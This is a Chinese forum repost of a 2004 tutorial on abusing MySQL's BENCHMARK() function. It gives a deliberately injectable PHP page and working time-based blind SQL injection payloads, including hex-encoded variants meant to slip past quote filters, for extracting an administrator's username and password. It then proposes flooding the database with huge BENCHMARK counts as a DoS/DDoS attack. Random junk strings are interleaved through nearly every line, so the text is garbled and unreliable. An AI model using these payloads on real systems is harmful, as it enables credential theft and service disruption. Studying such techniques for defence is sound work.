找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2515|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
- S/ s' H+ V6 R" f, W# S) b! @: S6 ?本文作者:SuperHei( U3 T- q$ K' ?5 S1 o$ l- E4 q
文章性质:原创
/ V3 M3 V2 {# S( S2 D# \0 h; r1 I* E$ _0 N* N发布日期:2005-01-023 h! h0 I3 I  A2 c
完成日期:2004-07-09 3 Z9 E4 w) r0 _2 |) T6 T( P
第一部
+ X) s2 x! i' b/ \3 s5 K: p. x/ e( h4 }2 v$ S" d! F; q5 l4 t$ }% r
利用时间推延进行注射---BENCHMARK函数在注射中的利用 6 g+ S/ L* z5 H9 ^: j

3 L  R  Y* h, `/ j4 H一.前言/思路
. j* q* V( o8 ], M; Z0 _1 _5 ~7 i/ t) e8 a% Y
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) [3 F! z, I+ i0 K- g, N
. T1 ^3 N6 v6 t6 g& G1 V4 N  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# B. b0 w* Q  @/ l
( Z8 x1 U# ~( z$ b3 e
二.关于BENCHMARK函数7 Z1 t8 A# @- a/ f4 I$ t/ S9 n  V

7 p- e! L$ V9 F8 y& E( }2 K# [  在MySQL参考手册里可以看到如下描叙: 1 a9 K. {3 A) c8 j7 {  T

& R! O% W7 p3 U# x! z, D, V6 ~
( m. X$ ~* y3 {! t7 d% x/ [--------------------------------------------------------------------------------$ s" T& P5 Y/ z4 p3 c2 P2 D

0 I4 d2 X  P7 C* g% w3 ^BENCHMARK(count,expr)
: b/ s/ R' v* dBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 . R" ]1 o4 E' g/ N
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
5 K6 x, m, M% L4 [; K+----------------------------------------------+ 1 {: O+ `' F4 J9 ^
| BENCHMARK(1000000,encode("hello","goodbye")) | 9 V& m) l! M1 s& b* ^* O6 e
+----------------------------------------------+ : O2 W/ X4 r4 v  f, }" r
| 0 |
5 f1 N( |! B; o2 ]+----------------------------------------------+ 3 f* M4 I% e5 d" a( H" |( Q5 o' w
1 row in set (4.74 sec) ) O, H0 c8 v( ^! r* ?( ?9 j5 `

% m; }0 a- ?5 n( x- b7 B( p报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
* ^; i) p0 e) Z8 K
; y- ^9 `1 v# [% @3 q
# k' @) J  [9 F, b, V( E--------------------------------------------------------------------------------( V/ r3 Q3 f$ j6 b& b
3 x( Y% \- @- w
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
2 Y0 S7 \5 a, R1 X, N) g8 X& r/ A, p$ C; [1 V8 l: s5 u
mysql> select md5( 'test' ); ! Y! ^  p4 c. J0 {9 z* C
+----------------------------------+
, s! n$ v! U* }& b7 _/ u| md5( 'test' ) | ) d( A# D- p/ C* N6 I  u/ _9 i; f
+----------------------------------+
8 U0 ]" @1 h+ R| 098f6bcd4621d373cade4e832627b4f6 |
9 m9 C) F/ f) s6 ^+----------------------------------+ " ~' ]/ w4 f9 E" U) g
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
. @9 E1 I0 Y- m) ]) ]6 ~- Z% M5 }3 b' }4 S
mysql> select benchmark( 500000, md5( 'test' ) );
6 v) `6 B7 Q: S! z* u: Z+------------------------------------+
1 }- k' o, \& F0 g4 s2 r* v2 z| benchmark( 500000, md5( 'test' ) ) |
- \6 I, T6 I9 M2 r  r+------------------------------------+
8 f& ?0 E% C; A& W9 n| 0 |
+ t- r7 H7 @& K" l' _+------------------------------------+   v' R, Z% n8 p, w" W
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
9 [  l1 c: z1 N" h' M5 e , J1 v7 F2 Z7 K

; ^, b: Z; r0 n7 A9 J4 B# ~  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 6 k' \' ^% ?5 |7 [' f$ g

! K) O  M7 P/ L8 H  [4 B1 Z3 }  G三.具体例子
2 }$ ~2 e+ p, h& [1 H' K9 z; R5 Y! |/ d4 D! M% A
  首先我们看个简单的php代码:' U$ R& Z% q/ B  x3 U: k/ m* A
8 E3 C- Z* O4 a% T/ a" ?8 p
< ?php
, t5 l' [) W  O" R' }% H9 ]5 B) y. H$servername = "localhost"; , B- l$ L' P# c
$dbusername = "root";
9 o8 H2 O- S0 v/ b3 n$dbpassword = ""; 4 J( ]# `7 ~! a% \5 z; U4 {( h
$dbname = "injection";
3 `( B0 V, R9 l2 L6 }
# i* A( C" u( H+ k& \8 c6 [) emysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
+ n9 e0 ]5 e& k* A$ Y# t9 z: d" T; V* ~- f" Z, q2 A
$sql = "SELECT * FROM article WHERE articleid=$id"; 2 {6 n: n6 Z' Z) G- J0 S
$result = mysql_db_query($dbname,$sql);
3 J6 \. Y8 j7 K; X$row = mysql_fetch_array($result); % }3 k4 @1 P- h* D9 u$ w9 E. u
- u% U* {8 W) G1 j+ I/ M  G, K
if (!$row)
) h0 v  e+ C; a$ x1 u/ G9 b. V; X$ j{   I# I$ Q! S6 X3 l0 ]
exit;
) W  `$ v8 u) _6 x5 p}
7 W" Y) `. Q4 f1 W7 B?>
- }4 r! h3 e5 H& K# I7 g
4 @, y$ z" V' @  D! {
" i- Q) q4 _& r: Z  数据库injection结构和内容如下:
+ _& G1 C* g) V4 Y8 F: l& q2 m/ l/ x; A* H% Q$ D4 p
# 数据库 : `injection`
" E# g! _% H4 t( [8 }2 ~7 N" d# 6 _( `) f% {9 [. F0 c
8 Z/ u. d& j3 }$ ?) f( r
# --------------------------------------------------------
+ ^+ T$ y5 q: q9 v6 [) M7 N  u6 |% U( J
# 1 G/ |' ]( ~9 H* t, ]3 u8 I1 g
# 表的结构 `article`
* D1 J6 A3 b5 ^: ]# 3 q! n/ ~4 H* h: w3 Y0 u* N; F

9 A# K3 Z; }1 M4 P4 c! lCREATE TABLE `article` ( ( `4 p' F& [2 s0 L9 `. z2 z
`articleid` int(11) NOT NULL auto_increment,
$ ?0 m- k+ M6 ]  f# s`title` varchar(100) NOT NULL default '', 5 Z' y# ^  Q' g# [( J9 k. Q
`content` text NOT NULL,
! y5 n4 h3 p. N% H( |% VPRIMARY KEY (`articleid`) 9 d1 T* k# S" H! \" U
) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 z8 j0 ?$ D2 C9 Y3 ~% D" I3 [. t$ l0 r# V! }  j
#
8 t' D, x" u8 q  F) G+ U4 ]# 导出表中的数据 `article` 3 d( b% ~8 I4 p1 N& x* {3 V* `
# $ D$ h( x# n4 K- D8 ^# M

/ a  n3 {9 X8 W- [: \: \INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ! n& i$ F  r% h5 p' C$ Z* a
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ @, U0 y" _+ J) a
" \6 p2 z1 N! l
# --------------------------------------------------------
+ m( [/ x# }: j- w' @, F% w& Q& V' }
#
1 u) U6 P& U% c# 表的结构 `user`
/ m* l0 [1 U$ Y7 U7 ?- w#
9 A1 W# C. H" o+ V
+ A- `5 r  ]/ D9 i) TCREATE TABLE `user` ( 1 O- N; U# c$ R; Q
`userid` int(11) NOT NULL auto_increment,
5 D5 j* j# p9 s; t; F& o( ]`username` varchar(20) NOT NULL default '', . k7 B  u: W" v0 S" ^" f: F
`password` varchar(20) NOT NULL default '', . ]) V9 g6 o& {+ A8 `) ]
PRIMARY KEY (`userid`)
. A( \. F: N5 C* D% Q) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 L- U: Q# c. V0 i5 Y9 l  {! K( W9 r1 B- a/ T' [
#
) m; ?) S* [/ D: u+ D6 J+ p' U2 g# 导出表中的数据 `user`
% O8 f7 W( p) H/ y4 u#
- y& a( w- f9 a3 e  y+ @' L' w- |  z/ G! j, Q
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 6 y3 ~; |2 W: h
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
& C5 G. `) ^5 y, Y% g ( u" D/ X! K) f3 i/ `1 ^; S

8 j2 C! a' L0 W: ^% }3 R, D  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
+ c6 N- V% J$ h" p2 a4 q+ p" b1 O$ A
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
9 c0 y' j) f: V* ~
6 E* Q4 }3 J3 H. L+ n4 U
. N+ ]' t1 n% O% k" a' c1 y  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:' h6 u2 D- ?# ^( j- h" }* n

* E& l# K- K( d$ K; a/ Ahttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*; `3 l' }( V2 R7 }) s. t

  f( [" K; u2 O( j) E: Y1 P7 r8 `& F( X
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
; {+ Q( P1 b! m2 y
. g* L: o, [6 \& i* o5 L  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
/ N  G1 a. m4 u% F
; {4 `. f% e  [7 o7 T6 g第二部
. \4 I) o& I8 ^% C. z8 b
. H* e- A/ u. U4 W0 i* R' `利用BENCHMARK函数进行ddos攻击
* r  C$ s2 p3 d+ s% P! w
& N" A" S% h6 l' ~  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:. c5 p4 X) }# l# C1 O

3 V# k: _% C5 j* h' C& ]0 e) Chttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
. I) |. G, w5 _& K" X ! H6 G8 M- t, D8 v

; L, A' k* {9 x! P* ?6 G小结; p. d* r+ J. G  O" G" Y+ N& C) Y
- n" A" Q: _- b1 F5 [7 s- `9 \
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 d! b- ~. v/ l, P* x3 ` # A4 ^* p4 e1 F% u' z2 T
  
1 M0 T7 z; B- o  h' |- _; t- h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表